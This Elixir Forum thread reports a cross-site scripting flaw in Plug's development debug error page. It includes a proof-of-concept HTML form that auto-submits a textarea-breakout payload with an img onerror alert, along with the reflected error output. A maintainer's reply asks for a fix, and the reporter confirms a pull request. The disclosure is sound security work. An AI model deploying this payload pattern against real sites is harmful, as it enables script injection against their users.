i-n-g-m-a-r
When debug_errors: true javascript can be executed.
<html>
<body>
<form id="xss" action="https://domain.com/NateMail.php" method="POST">
<input type="hidden" name="recipient" value="hhhhhh</textarea><img/src=x onerror=alert('Identied_as_CVE-2019-13392')>" />
</form>
<script>
document.getElementById('xss').submit();
</script>
</body>
</html>
Error reporting allows javascript to be executed.
<div class="code-explorer">
<textarea class="hidden-contents" role="copy-contents"># Plug.CSRFProtection.InvalidCSRFTokenError at POST /NateMail.php
Exception:
** (Plug.CSRFProtection.InvalidCSRFTokenError) invalid CSRF (Cross Site Request Forgery) token, please make sure that:
* The session cookie is being sent and session is loaded
* The request include a valid '_csrf_token' param or 'x-csrf-token' header
(plug 1.14.0) lib/plug/csrf_protection.ex:316: Plug.CSRFProtection.call/2
[etc]
## Connection details
### Params
%{"path" => ["NateMail.php"], "recipient" => "hhhhhh</textarea><img/src=x onerror=alert('Identied_as_CVE-2019-13392')>"}
[etc]
Where Next?
Trending in Proposals: Ideas
Other Trending Topics
Latest Phoenix Threads
Latest on Elixir Forum
Sponsor Spotlight
Supporting innovation across the BEAM ecosystem.
Categories:
Sub Categories:
Forums
Popular Tags
- #ecto
- #liveview
- #troubleshooting
- #learning-elixir
- #deployment
- #library
- #erlang
- #testing
- #genserver
- #mix
- #absinthe
- #remote-other
- #otp
- #plug
- #how-to-question
- #macros
- #postgres
- #elixirconf
- #channels
- #exunit
- #discussion
- #code-sync
- #javascript
- #podcasts
- #onsite
- #dialyzer
- #docker
- #authentication
- #umbrella
- #full-time-contract
- #podcasts-by-brainlid
- #ecto-query
- #blog-post
- #elixir-ls
- #ai
- #elixirconf-us
- #phoenix_html
- #iex
- #graphql
- #genstage
- #websockets
- #supervisor
- #advent-of-code
- #distillery
- #processes
- #api
- #forms
- #hex
- #security
- #metaprogramming
Our Sponsors
Build Elixir applications with speed and confidence.
Supporting innovation across the BEAM ecosystem.
We build reliable cloud platforms for business-critical systems.
Error tracking, logs, uptime, and Just Enough APM. Built for developers.
Elixir, Erlang & BEAM conferences from Code Sync - join us in 2026!
Master modern tools, write cleaner code, and tackle real-world challenges.
Producing high quality Elixir screencasts since 2017.
Enabling companies to succeed by building software people love.
The team behind Membrane, Popcorn, LiveDebugger. Available for hire.
Courses that'll move you from confusion to "Aha, now I get it!"
Showing Posts 1 to 2- Show Best Posts
- Show All (oldest first)
- Show All (newest first)
josevalim
Could you please open up an issue or submit a PR? That would be part of the GitHub - elixir-plug/plug: Compose web applications with functions · GitHub. This is a dev only mode but it would be good to get it addressed anyway. Thank you.
i-n-g-m-a-r
Tnx, PR was submitted.